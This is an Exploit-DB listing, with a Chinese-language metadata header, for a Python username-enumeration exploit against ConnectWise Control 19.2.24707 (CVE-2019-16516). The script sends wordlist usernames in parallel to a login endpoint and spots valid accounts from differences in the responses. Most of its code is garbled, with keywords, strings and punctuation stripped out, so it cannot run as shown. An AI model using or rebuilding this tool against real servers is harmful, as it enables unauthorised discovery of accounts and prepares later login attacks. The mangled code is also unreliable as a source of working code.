标题: ConnectWise Control 19.2.24707 - Username Enumeration EDB-ID: 50618 CVE: 2019-16516 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: ConnectWise Control 19.2.24707 - Username Enumeration
# Date: 17/12/2021
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://www.connectwise.com/
# Version: vulnerable <= 19.2.24707
# CVE : CVE-2019-16516

# https://github.com/czz/ScreenConnect-UserEnum

from multiprocessing import Process, Queue
from statistics import mean
from urllib3 import exceptions as urlexcept
import argparse
 math
 re
 requests

 
    HEADER  
    OKBLUE  
    OKCYAN  
    OKGREEN  
    WARNING  
    FAIL  
    ENDC  
    BOLD  
    UNDERLINE  


headers  

 header_line
    headersappendheader_line


 queue found_queue wordlist url payload failstr verbose proc_id stop proxy
    
        
        payload_dict  
         load  payload
            split_load  loadsplit
             split_load  
                payload_dictsplit_load  split_load
            
                payload_dictsplit_load  

        
        total  wordlist
         counter user  wordlist
            user_payload  payload_dict
             key value  user_payloaditems
                 value  
                    user_payloadkey  user

            dataraw  join  key value  key value  user_payloaditems
            headers      

            req  requestsrequesturlheadersheadersdatadataraw proxiesproxies

            x  joink v  k v  reqheadersitems

             researchrfailstr xreplacereplace
                queueputproc_id  user
                found_queueputproc_id  user
                 stop 
             verbose
                queueputproc_id  user
            queueput proc_id countertotal

     urlexceptNewConnectionError requestsexceptionsConnectionError
        proc_id


 __name__  
    
    parser  argparseArgumentParserdescription
    parseradd_argument 
    parseradd_argument 
    parseradd_argument metavar  default 
    parseradd_argument action 
    parseradd_argument action 
    parseradd_argument metavar  
    args  parserparse_args

    
    wordlist  argswordlist
    url  argsurl
    payload       
    verbose  argsv
    thread_count  argsc
    failstr  
    stop  argss
    proxy argsp

    bcolorsHEADER   bcolorsENDC
    url
    payload
    failstr
    wordlist
     verbose 
     stop 

    proxies     
     proxy
        proxies   proxy  proxy

    
    
    wlfile  wordlist  encoding  
    tothread  
    wllist    i  thread_count
     user  wlfile
        wllisttothreadappenduserstrip
         tothread  thread_count
            tothread
        
            tothread  

    
    tries_q  Queue
    found_q  Queue
    processes  
    percentage  
    last_percentage  
     i  thread_count
        p  Processtargetprocess_enum argstries_q found_q wllisti url payload failstr verbose i stop proxy
        processesappendp
        percentageappend
        pstart

    bcolorsOKBLUE    bcolorsENDC
    
    initial_count  processes
     
        
        
            oldest  tries_qget
             oldest  
                percentageoldest  oldest
             oldest  
                bcolorsOKGREEN  oldest oldest  bcolorsENDC
             verbose
                bcolorsOKCYAN  oldest oldest  bcolorsENDC
         

        
        total_percentage  mathceilmeanpercentage
         total_percentage      total_percentage  last_percentage
            total_percentage
            last_percentage  total_percentage

        
         k p  processes
             pis_alive  
                processespopk

        
         processes  initial_count  stop
             p  processes
                pterminate

        
         processes  
            bcolorsOKBLUE    bcolorsENDC
             
                
                    entry  found_qget
                    bcolorsOKGREEN  entry entry  bcolorsENDC
                
                    
            quit URL: https://www.exploit-db.com/exploits/50618